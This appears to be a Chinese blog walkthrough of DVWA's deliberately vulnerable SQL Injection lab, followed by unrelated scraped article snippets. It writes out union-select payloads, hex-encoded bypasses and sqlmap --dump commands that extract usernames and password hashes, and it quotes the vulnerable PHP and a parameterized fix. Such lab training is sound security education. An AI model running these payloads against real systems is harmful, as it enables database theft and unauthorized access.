网络安全 DVWA通关指南 SQL Injection(SQL注入)
DVWA SQL Injection
文章目录
- DVWA SQL Injection
- Low
- Medium
- High
- Impossible
SQL注入漏洞基本原理
Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。
可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。
根据注入技术分类有以下五种:
布尔型盲注:根据返回页面判断条件真假
时间型盲注:用页面返回时间是否增加判断是否存在注入
基于错误的注入:页面会返回错误信息
联合查询注入:可以使用union的情况下
堆查询注入:可以同时执行多条语句
防御方法
使用参数化查询。
数据库服务器不会把参数的内容当作
SQL指令的一部分来拼接执行;而是在数据库完成
SQL指令的编译后才套用参数运行(预编译)。避免数据变成代码被执行,时刻分清代码和数据的界限。
Low
一、判断提交方式
在User ID中输入数字1,提交后发现,在URL地址栏出现了提交的参数,由此可以判断提交方式为get方式。
提问:get和post提交方式对SQL注入的实施有什么影响?

二、判断服务器处理类型(数字型或字符型)
加单引号,提交1',出现报错信息,显示多出一个单引号,可以确定为字符型注入

三、判断注入点
提交1' or 1=1#语句,结果返回了全部的内容,可以判断存在注入点
1' or 1=1#

四、判断列数
使用order by语句判断目标数据库表中的列数,依次提交1' order by 1#语句,数字从大到小,当出现报错信息后确定列数。
1' order by 1#
1' order by 2#
1' order by 3#



当提交1' order by 3#时出现报错信息,说明目标数据库表中的列数为2
五、提取库名、表名、字段名、值
1、提取库名
依据前一步得到的列数构建注入语句,得到数据库名dvwa
1' union select 1,database()#

2、提取表名
通过注入攻击来获取名为’dvwa’的数据库中的所有表名
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#//information_schema 是一个特殊的系统数据库,其中包含了所有用户创建的数据库以及这些数据库中的表的信息。tables 表提供了关于所有表的详细信息,如表名、表类型等。
//"1,table_name"中的'1'是一个占位符,用于模拟与原始查询返回相同数量的列,以便UNION操作成功执行。
当提交注入语句时,可能出现如下错误信息:
Illegal mix of collations for operation 'UNION'

这是由于MySQL在执行UNION操作时遇到的不同字符集之间的冲突报错。
解决方法:打开CMD,登录MySQL的dvwa数据库,修改first_name和last_name字段的字符集
alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;
//将first_name和last_name字段的字符集都设置为了utf8,并指定了排序规则为utf8_general_ci
修改完毕后,命令执行成功

3、提取字段名
通过注入攻击获取数据库中特定表(本例中为users表)的所有字段名。
1' union select 1,column_name from information_schema.columns where table_name='users'#

4、提取值
从数据库表 users 中提取 user 和 password 字段的数据
1' union select user,password from users#
执行命令出现同样的字符编码问题,解决方法还是修改字段的字符集

alter table users modify user varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify password varchar(50) character set utf8 collate utf8_general_ci;
执行成功得到用户和密码的数据,密码为32位小写MD5,可以通过在线工具解密


六、SQLmap工具使用
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low"



1、提取库名
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" --dbs

2、提取表名
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa --tables

3、提取字段名
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa -T users --columns

4、提取值
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=i0ssj777jur6gqb9af6bd111tn; security=low" --batch -D dvwa -T users -C user,password --dump

七、分析后台脚本
<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>
<?php// 检查是否有"Submit"按钮被点击
if( isset( $_REQUEST[ 'Submit' ] ) ) {// 获取用户输入的ID$id = $_REQUEST[ 'id' ];// 构建SQL查询语句$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";// 执行SQL查询$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// 处理查询结果while( $row = mysqli_fetch_assoc( $result ) ) {// 获取查询结果中的名字和姓氏$first = $row["first_name"];$last = $row["last_name"];// 拼接输出结果$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}// 关闭数据库连接mysqli_close($GLOBALS["___mysqli_ston"]);}?>
Medium
1、修改电脑代理服务器IP设置为127.0.0.1,端口设置为8888,Bur调整代理参数与电脑代理一致



2、在DVWA中尝试提交一个ID,在BurpSuite的repeater中查看捕获到的提交信息。使用BurpSuite的repeater模块可以重复发送数据,查看返回数据。




3、确认列数
4 order by 1#
4 order by 2#
4 order by 3#


4、库、表、字段、值
4 union select 1,database()#
//得到库名
4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
//得到表名
4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#
//得到字段
4 union select user,password from users#
//得到值
提取库名
4 union select 1,database()#

提取表名
注入语句发现单引号被转义,使用BurpSuite的Decoder模块,将'dvwa'转为16进制,自行添加0x
4 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#



提取字段名
4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#

提取user、password的值
4 union select user,password from users#

SQLmap工具使用
将第一步抓到的数据保存在桌面,命名为1.txt文件

使用-r参数指定文件路径。
sqlmap -r C:\Users\yuexuan\Desktop\1.txt --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium" --batch --dbs
// -r REQUESTFILE 从文件中读取 HTTP 请求

操作步骤与前面一致,最后得到user、password数据
sqlmap -r C:\Users\yuexuan\Desktop\1.txt --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium" --batch -D dvwa -T users -C user,password --dump

<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);//ysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。//在以下字符前添加反斜线:\x00、\n、\r、\、'、" 和 \x1a.$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]);
?>
High
1、点击链接弹出小窗,提交1,使用BurpSuite抓包。


尝试放包,回显信息出现在原页面

2、注入方式与Low、Medium级别一致,最后得到user、password数据
1' union select user,password from users#

SQLmap工具使用
因为提交数据与回显数据的页面不同,所以需要添加第二个回显地址。将第一步抓到的数据保存在桌面,命名为1.txt文件,使用-r参数指定文件路径。--second-url参数指定会先页面URL。
sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url "http://dvwa/vulnerabilities/sqli/" --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high" --batch --dbs

操作步骤与前面一致,最后得到user、password数据
sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url "http://dvwa/vulnerabilities/sqli/" --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high" --batch -D dvwa -T users -C user,password --dump

<?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
Impossible
<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}
}// Generate Anti-CSRF token
generateSessionToken();?>
相关文章:
网络安全 DVWA通关指南 SQL Injection(SQL注入)
DVWA SQL Injection 文章目录 DVWA SQL InjectionLowMediumHighImpossible SQL注入漏洞基本原理 Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。 可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致…...
【Linux】版本
文章目录 linux版本1、linxu技术版本(内核版本)2、linux商业化版本(发行版本) 区别 linux版本 1、linxu技术版本(内核版本) 内核:提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程…...
代码随想录算法训练营day47
题目:188.买卖股票的最佳时机IV、309.最佳买卖股票时机含冷冻期、714.买卖股票的最佳时机含手续费 参考链接:代码随想录 188.买卖股票的最佳时机IV 思路:本题和上题的最多两次买卖相比,改成了最多k次,使用类似思路&…...
【Android面试八股文】Kotlin内置标准函数apply的原理是什么?
文章目录 一、原理解析二、 示例代码2.1 具体示例应用场景2.2 为什么使用 `apply`?apply 是 Kotlin 标准库中的一个高阶函数,它的作用是在对象上执行一个代码块,并返回这个对象本身。其原理涉及到函数类型和接收者对象的结合使用。 一、原理解析 函数类型与接收者对象的结合…...
RegionClip环境安装踩坑指南
RegionClip环境安装 RegionClip环境安装)问题1问题2问题3问题4问题5 RegionClip环境安装) 特别强调,不要单独去安装detectron2,会出现model.clip不存在的错误,通过python -m pip install -e RegionCLIP就可以问题1 问题:torch-c…...
MySQL数据类型、运算符以及常用函数
MySQL数据类型 MySQL数据类型定义了数据的大小范围,因此使用时选择合适的类型,不仅会降低表占用的磁盘空间, 间接减少了磁盘I/O的次数,提高了表的访问效率,而且索引的效率也和数据的类型息息相关。 数值类型 浮点类型…...
算法设计与分析:动态规划法求扔鸡蛋问题 C++
目录 一、实验目的 二、问题描述 三、实验要求 四、算法思想和实验结果 1、动态规划法原理: 2、解决方法: 2.1 方法一:常规动态规划 2.1.1 算法思想: 2.1.2 时间复杂度分析 2.1.3 时间效率分析 2.2 方法二:动态规划加…...
Java项目:基于SSM框架实现的电子竞技管理平台【ssm+B/S架构+源码+数据库+毕业论文】
一、项目简介 本项目是一套基于SSM框架实现的电子竞技管理平台 包含:项目源码、数据库脚本等,该项目附带全部源码可作为毕设使用。 项目都经过严格调试,eclipse或者idea 确保可以运行! 该系统功能完善、界面美观、操作简单、功能…...
Scala入门介绍
Scala 是一种强大的多范式编程语言,旨在融合面向对象编程和函数式编程的特性。它运行在 Java 虚拟机(JVM)上,因此可以无缝地与 Java 库进行交互。以下是对 Scala 的入门介绍,并附带了一些基本代码示例。 环境设置 首先…...
品牌策划背后的秘密:我为何对此工作情有独钟?
你是否曾有过一个梦想,一份热爱,让你毫不犹豫地投身于一个行业? 我就是这样一个对品牌策划充满热情的人。 从选择职业到现在,我一直在广告行业里“混迹”,一路走来,也见证了许多对品牌策划一知半解的求职…...
超越招聘技术人才目标的最佳技术招聘统计数据
研究发现,难以找到的人才比以往任何时候都更难找到:根据新人才委员会招聘调查报告:2024年难以找到的人才的战略和战略,60%的受访者表示,熟练人才的招聘时间比一年前长。调查进一步揭示了以下关于招聘技术的关键事实&am…...
cocos creator 调试插件
适用 Cocos Creator 3.4 版本,cocos creator 使用google浏览器调试时,我们可以把事实运行的节点以节点树的形式显示在浏览器上,支持运行时动态调整位置等、、、 将下载的preview-template插件解压后放在工程根目录下,然后重新运行…...
Clickhouse监控_监控的指标以及Grafana配置Clickhouse指标异常时触发报警
使用PrometheusGrafana来监控Clickhouse服务和性能指标 Clickhouse监控指标的官方文档https://clickhouse.com/docs/zh/operations/monitoring 建议使用PrometheusGrafana组合监控Clickhouse服务和性能指标,数据流向:Prometheus的clickhouse_exporter组件…...
动手学深度学习(Pytorch版)代码实践 -卷积神经网络-27含并行连结的网络GoogLeNet
27含并行连结的网络GoogLeNet import torch from torch import nn from torch.nn import functional as F import liliPytorch as lp import matplotlib.pyplot as pltclass Inception(nn.Module):# c1--c4是每条路径的输出通道数def __init__(self, in_channels, c1, c2, c3, …...
fastadmin多语言切换设置
fastadmin版本:1.4.0.20230711 以简体,繁体,英文为例 一,在application\config.php 里开启多语言 // 是否开启多语言lang_switch_on > true, // 允许的语言列表allow_lang_list > [zh-cn, en,zh-tw], 二…...
如何清理docker build的缓存
在使用 Docker 构建镜像时,Docker 会利用构建缓存来加速后续的构建过程。如果某一层及其所有上层未发生变化,Docker 就会重用这一层的缓存。虽然这可以显著提升构建速度,但有时你可能希望强制 Docker 忽略缓存,以确保从头开始重新…...
OceanBase v4.2 特性解析:如何用分页保序功能解决MySQL模式分页查询不稳定
导言 在MySQL业务迁移OceanBase过程中,经常遇到的一个问题是分页查询结果的不稳定性,这通常需要数据库DBA介入绑定执行计划。下面简单举个例子,以便大家更好地理解为什么有的分页查询,在原来的MySQL数据库下运行没有问题…...
RK3588/算能/Nvidia智能盒子:加速山西铝业智能化转型,保障矿业皮带传输安全稳定运行
近年来,各类矿山事故频发,暴露出传统矿业各环节的诸多问题。随着全国重点产煤省份相继出台相关政策文件,矿业智能化建设进程加快。皮带传输系统升级是矿业智能化的一个重要环节,同时也是降本增效的一个重点方向。 △各省份智能矿山…...
2024.6.24 IDEA中文乱码问题(服务器 控制台 TOMcat)实测已解决
1.问题产生原因: 1.文件编码不一致:如果文件的编码方式与IDEA设置的编码方式不一致,就会产生乱码。确保文件和IDEA使用相同的编码,通常是UTF-8。2.IDEA设置问题:检查IDEA的全局编码设置和项目编码设置是否正确。3.终端…...
桌面编辑器ONLYOFFICE 功能多样性快来试试吧!
目录 ONLYOFFICE 桌面编辑器 8.1 ONLYOFFICE介绍 主要功能和特点 使用场景 1.PDF编辑器 2.幻灯片版式 3.编辑,审阅和查看模式 4.隐藏连接到云版块 5.RTL语言支持和本地化选项 6.媒体播放器 7、其他新功能 8.下载 总结 ONLYOFFICE 桌面编辑器 8.1 官网地…...
云计算——弹性云计算器(ECS)
弹性云服务器:ECS 概述 云计算重构了ICT系统,云计算平台厂商推出使得厂家能够主要关注应用管理而非平台管理的云平台,包含如下主要概念。 ECS(Elastic Cloud Server):即弹性云服务器,是云计算…...
逻辑回归:给不确定性划界的分类大师
想象你是一名医生。面对患者的检查报告(肿瘤大小、血液指标),你需要做出一个**决定性判断**:恶性还是良性?这种“非黑即白”的抉择,正是**逻辑回归(Logistic Regression)** 的战场&a…...
三维GIS开发cesium智慧地铁教程(5)Cesium相机控制
一、环境搭建 <script src"../cesium1.99/Build/Cesium/Cesium.js"></script> <link rel"stylesheet" href"../cesium1.99/Build/Cesium/Widgets/widgets.css"> 关键配置点: 路径验证:确保相对路径.…...
【JVM】- 内存结构
引言 JVM:Java Virtual Machine 定义:Java虚拟机,Java二进制字节码的运行环境好处: 一次编写,到处运行自动内存管理,垃圾回收的功能数组下标越界检查(会抛异常,不会覆盖到其他代码…...
【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验
系列回顾: 在上一篇中,我们成功地为应用集成了数据库,并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了!但是,如果你仔细审视那些 API,会发现它们还很“粗糙”:有…...
高防服务器能够抵御哪些网络攻击呢?
高防服务器作为一种有着高度防御能力的服务器,可以帮助网站应对分布式拒绝服务攻击,有效识别和清理一些恶意的网络流量,为用户提供安全且稳定的网络环境,那么,高防服务器一般都可以抵御哪些网络攻击呢?下面…...
AspectJ 在 Android 中的完整使用指南
一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...
管理学院权限管理系统开发总结
文章目录 🎓 管理学院权限管理系统开发总结 - 现代化Web应用实践之路📝 项目概述🏗️ 技术架构设计后端技术栈前端技术栈 💡 核心功能特性1. 用户管理模块2. 权限管理系统3. 统计报表功能4. 用户体验优化 🗄️ 数据库设…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...
mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
